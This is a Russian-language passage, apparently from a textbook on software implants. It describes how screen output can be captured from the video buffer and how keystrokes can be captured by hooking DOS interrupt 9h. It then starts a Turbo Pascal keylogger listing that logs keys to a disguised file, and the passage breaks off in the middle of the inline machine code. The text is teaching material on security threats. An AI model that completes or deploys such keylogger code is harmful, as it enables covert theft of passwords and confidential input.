Перехват вывода на экран
Рассмотрим только текстовый режим вывода. Режим графического вывода будет отличаться лишь тем, что изменится адрес видеобуфера в программе, и информация будет представлена в виде точек с определенным цветом.
В оперативной памяти ПЭВМ область видеобуфера имеет заранее известный фиксированный адрес. Видеобуфер, с точки зрения программы, представляет собой область обычной оперативной памяти, которая рассматривается как последовательность слов (16 бит) в формате: символ (8 бит) + цвет (8 бит).
Выводимый на экран текст помещается в видеобуфер, откуда может быть считан и сохранен закладкой.
Синхронизирующим событием в этом случае может быть:
· ввод с клавиатуры длинной последовательности символов (обрабатываемого текста);
· чтение из файла;
· запуск программ с определенными именами.
Кроме того, возможно периодическое сохранение области экранного буфера по сигналу от системного таймера.
Перехват ввода с клавиатуры
Закладки, анализирующие ввод с клавиатуры, являются достаточно опасными, поскольку клавиатура является основным устройством управления и ввода информации. Через клавиатурный ввод можно получить информацию о вводимых конфиденциальных сообщениях (текстах), паролях и т.д.
Перехват может производится двумя основными способами:
· встраивание в цепочку прерывания int 9h;
· анализом содержания клавиатурного порта или буфера по прерыванию от системного таймера.
Работа закладки основывается на полном сохранении всех нажатий (отжатий) клавиш в файле. Файл затем изучается, и на его основе злоумышленник, пытавшийся получить доступ к зашифрованным файлам, восстанавливает возможные парольные последовательности.
Пример подобной закладки приведен в листинге 14.1.
Листинг 14.1.Пример закладки, перехватывающей ввод с клавиатуры
{$M 2048,0,0}
{$F+}
Uses Dos;
const
ArchiveName = 'C:\WINDOWS\USER.BIN';
OldSS : Word = 0;
OldSP : Word = 0;
StackSW : Integer = - 1;
NewSS : Word = 0;
NewSP : Word = 0;
var
Old9h : Procedure;
R : Registers;
DOSSeg, DOSOfs : Word;
Tick, WaitBuf : Integer;
NeedPop : Boolean;
CBuf : Word;
KBuf : array [1..255] of Byte;
procedure BeginInt;
inline($FF/$06/StackSW/
$75/$10/
$8C/$16/OldSS/
$89/$26/OldSP/
$8E/$16/NewSS/